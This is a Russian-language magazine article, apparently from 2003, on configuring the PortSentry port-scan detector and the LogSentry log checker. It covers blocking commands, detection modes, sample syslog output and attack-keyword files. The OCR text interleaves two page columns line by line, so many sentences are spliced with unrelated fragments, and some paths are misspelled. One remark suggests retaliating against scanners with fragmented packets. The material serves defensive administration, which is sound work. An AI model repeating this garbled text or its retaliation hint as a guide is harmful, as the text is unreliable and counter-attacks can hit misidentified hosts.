TCP connect и другие. В файле README.stealth архива вы ля, например INTERFACE=«eth0», Portsentry может кон-
найдете описание обнаруживаемых методов Stealth-скани- тролировать только один интерфейс.
рования. В настоящее время имеется уже версия 2.0 про-  INTERFACE_ADDRESS=«XXX.XXX.XXX.XXX» – IP-адрес
граммы, отличающаяся от первой поддержкой libpcap, т.е. интерфейса, без него Portsentry не сможет работать дол-
методами обнаружения сканирования. После закачки паке- жным образом, в данное время не поддерживается ди-
та распакуйте (tar xfz portsentry-2.0b.tar.gz) его и откройте в намическое определение адреса, в этом случае придет-
любимом редакторе файл portsentry_config.h, в котором со- ся писать скрипт (но в ближайшее время, по заверени-
держатся некоторые опции конфигурирования, для большин- ям разработчиков, такая опция будет реализована).
ства случаев подойдут используемые по умолчанию:
 CONFIG_FILE “/usr/local/psionic/portsentry2/portsentry.conf” – Port Configurations
содержится путь к конфигурационному файлу, если зна-  TCP_PORTS – перечисляются через запятую все про-
чение по умолчанию не подходит, изменив его, не за- веряемые Portsentry TCP-порты (диапазоны не поддер-
будьте подправить его и в Makefile в опциях INSTALLDIR живаются), список желательно не делать слишком
(/usr/local/psionic) и CHILDDIR (/portsenry2); большим, чтобы уменьшить количество срабатываний,
 WRAPPER_HOSTS_DENY “/etc/hosts.deny” – путь к фай- но он должен охватывать весь диапазон и содержать
лу hosts.deny для работы tcpwrapper; порт номер 1, так как в большинстве сканеров скани-
 SYSLOG_FACILITY LOG_DAEMON – тип логов для рование начинается именно с него, также не надо вклю-
syslogd (подробности в man 3 syslog); чать сюда порты, открытые работающими приложени-
 SYSLOG_LEVEL LOG_NOTICE – уровень syslogd для ями (20 – ftp, 25 – sendmail, 80 – httpd и пр.). При по-
посылки сообщений; пытке подключения к указанному порту информация
 MAXSTATE 50 – максимальное количество запоминае- об этом заносится в логи, затем выполняется пользо-
мых хостов для проверки повторного подключения. вательская команда и после узел блокируется при по-
мощи ipchains.
Знак решетки (#) в этом файле в начале строк с пере-  UDP_PORTS – то же самое, только касается UDP-пор-
менными – это не признак комментария, они требуются тов.

№7(8), июль 2003 45


безопасность
Configuration Files Scan trigger value
 IGNORE_FILE – полный путь к файлу portsentry.ignore. SCAN_TRIGGER – определяет разрешенное количество
 HISTORY_FILE – путь к файлу с историей, в котором подключений, прежде чем Portsentry начнет действовать.
содержатся записи о времени блокирования, имени и Значение по умолчанию 0 означает немедленную реак-
IP-адреса хоста, атакованный порт и протокол (TCP или цию. Установка в 1 или 2 уменьшит количество ложных
UDP). срабатываний. Но можно оставить как есть.
 BLOCKED_FILE – шаблон, из которого формируется
файл блокировки, имеющий имя BLOCKED_FILE.про- Это все опции применительно к версиям 1.1 и 2.0, но в
токол. версии 1.1, которая до сих пор пользуется популярнос-
тью, имеется еще одна опция – PORT_BANNER, которая
Misc. Configuration Options задает сообщение, выводимое при подключении к прове-
RESOLVE_HOST – при установлении в 1 производится ряемому порту.
запрос сервера DNS имени хоста нападавшего. На мед-
ленных компьютерах это может увеличить время реакции PORT_BANNER="** UNAUTHORIZED ACCESS PROHIBITED *** YOUR
CONNECTION ATTEMPT HAS BEEN LOGGED. GO AWAY."
и может предупредить нападающего о наличии Portsentry,
если он контролирует сервер имен. Значение по умолча- Сами авторы программы не рекомендуют пользоваться
нию – 0. ею, чтобы не злить взломщика, очевидно поэтому она и была
убрана со второй версии программы. Хотя можно попытать-
Ignore Options ся при помощи этой опции сбить начинающего взломщика с
 BLOCK_UDP – позволяет задать ответную реакцию толку, указав, например, неправильные данные о системе.
на сканирование в зависимости от установленного После того как все параметры установлены, можно за-
значения. При значении 0 ничего не происходит, узел пускать утилиту. Во второй версии это просто запуск ис-
не блокируется, команда не запускается; 1 означает полняемого файла без параметров.
блокировать узел и запустить на выполнение коман-
ду; 2 – только запустить заданную команду. Команда # /usr/local/psionic/portcentry2/portcentry
задается при помощи опции KILL_RUN_CMD.
 BLOCK_TCP – то же самое, только для TCP-прото- После этого в файле /var/log/message должно появить-
кола. ся примерно такое сообщение, в котором описываются
контролируемый интерфейс и порты:
Dropping Routes
В этой секции описывается команда, которая будет вы- Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵
Monitoring interface eth0 and address:
полнена при обнаружении сканирования, при этом пе- 192.168.0.4
ременная $TARGET$ заменяется IP-адресом, а в пере- Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵
Initializing PortSentry BPF filters.
менную $PORT$ будет подставлен номер порта, к ко- Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵
торому было подключение. В файле содержатся шаб- Monitoring TCP ports:
1,11,15,79,111,119,143,515,540,635,666,1080,1524,2000,6667, ↵
лоны команд (удаление маршрута, установка firewall) 12345,12346,20034,27374,27665,3133
для различных операционных систем, необходимую 7,32771,32772,32773,32774,40421,49724,54320,54321
Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵
нужно раскомментировать или дописать свою, исполь- Monitoring UDP ports:
зуя параметр KILL_ROUTE. 1,7,9,69,161,162,513,635,2049,27444,32770,32771,32772,32773,32774,31337,54321
Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵
PortSentry is initialized and monitoring.
# FreeBSD
#KILL_ROUTE="route add -net $TARGET$ ↵
-netmask 255.255.255.255 127.0.0.1 -blackhole" Последняя строка указывает на счастливый запуск
# iptables support for Linux утилиты, если ее нет, то что-то сделано неправильно. При
#KILL_ROUTE="/usr/local/bin/iptables -I INPUT -s $TARGET$ ↵
-j DROP" этом могут быть следующие специфические сообщения:
 adminalert – это сообщение выводит текущий статус
PortSentry.
TCP Wrappers  securityalert – сообщение о том, что некое защитное
KILL_HOSTS_DENY – опция задает строку, которая будет событие произошло.
помещена в /etc/hosts.deny для блокировки доступа (ALL:  attackalert – компьютер был атакован и соответствую-
$TARGET$). щие данные занесены в /etc/host.deny.

External Command В первой же версии программы использовалось шесть


 KILL_RUN_CMD – команда, которая будет выполнена режимов по три на каждый протокол (TCP и UDP):
в сторону нападающего. Можно запустить отправку по-  portsentry -tcp (basic port-bound TCP mode)
чты администратору или на любителя порцию фраг-  portsentry -udp (basic port-bound UDP mode)
ментированных пакетов.  portsentry -stcp (Stealth TCP scan detection)
 KILL_RUN_CMD_FIRST – установка значения в 0 запу-  portsentry -atcp (Advanced TCP stealth scan detection)
стит команду, перед тем как маршрут будет удален из  portsentry -sudp («Stealth» UDP scan detection)
таблицы; в 1 – после.  portsentry -audp (Advanced «Stealth» UDP scan detection)

46
безопасность
Для каждого протокола может запускаться только один После этого скомпилированная программа logtail
выбранный режим. В режиме basic открываются описан- вместе со вспомогательными файлами скопируется в
ные в файле portsentry.conf контролируемые порты и при каталоги, указанные в переменных INSTALLDIR_BIN,
попытке соединиться с ними происходит блокировка, при INSTALLDIR и INSTALLDIR_SH. По умолчанию это под-
этом PortSentry не реагирует на Stealth-сканирование. Ре- каталоги /usr/local/bin, /usr/local/etc и /usr/local/etc. Кро-
жим Stealth отличается от предыдущего тем, что не дер- ме основного скрипта logcheck.sh и программы logtail,
жит порты открытыми, и атакующий получает достовер- в комплекте идут несколько вспомогательных файлов.
ную информацию об используемых портах, а также выяв- Файл logcheck.hacking содержит ключевые слова (вро-
ляет практически все виды Stealth-сканирования. Режим де LOGIN root REFUSED или attackalert от Portcentry),
Advanced является самым быстрым и рекомендуется раз- появление которых в лог-файлах может свидетельство-
работчиками (во второй версии используется именно этот вать только об одном – компьютер атакован, т.е. если
режим совместно со Stealth). При этом контролируются такое слово будет обнаружено, то суперпользователь
все порты ниже значений ADVANCED_PORTS_TCP и получит сообщение, которое просто не сможет не при-
ADVANCED_EXCLUDE_UDP. влечь его внимания: «ACTIVE SYSTEM ATTACK». А
файл logcheck.violations содержит набор слов, свиде-
LogSentry тельствующих, как правило, о каком-либо негативном
В системных журналах имеется довольно ценная инфор- действии (например, failed, denied и даже su root). На-
мация, так как любое событие оставляет там свой след, пример, сравните следующие два сообщения:
но большинство системных администраторов заглядыва-
ют туда один-два раза в неделю, иногда даже вручную, Jun 4 09:00:32 grinder sendmail[5475]: VAA05473: ↵
to=crowland, ctladdr=root (0/0), delay=00:00:02, ↵
что, согласитесь, очень утомительно. Утилита Logsentry xdelay=00:00:01, mailer=local, stat=refused
(или logcheck) как раз и предназначена для автоматичес-
Jun 4 09:00:32 grinder rshd: ↵
кой проверки системных журналов на предмет наруше- refused connect from hacker@evil.com:1490
ний безопасности и других необычных действий, таким
образом немного облегчая труд. Берет свою родослов- Первая строка указывает на довольно обычную житей-
ную от скрипта frequentcheck.sh, входящего в состав скую ситуацию с sendmail, отдаленный компьютер отка-
firewall Gauntlet компании Trusted Info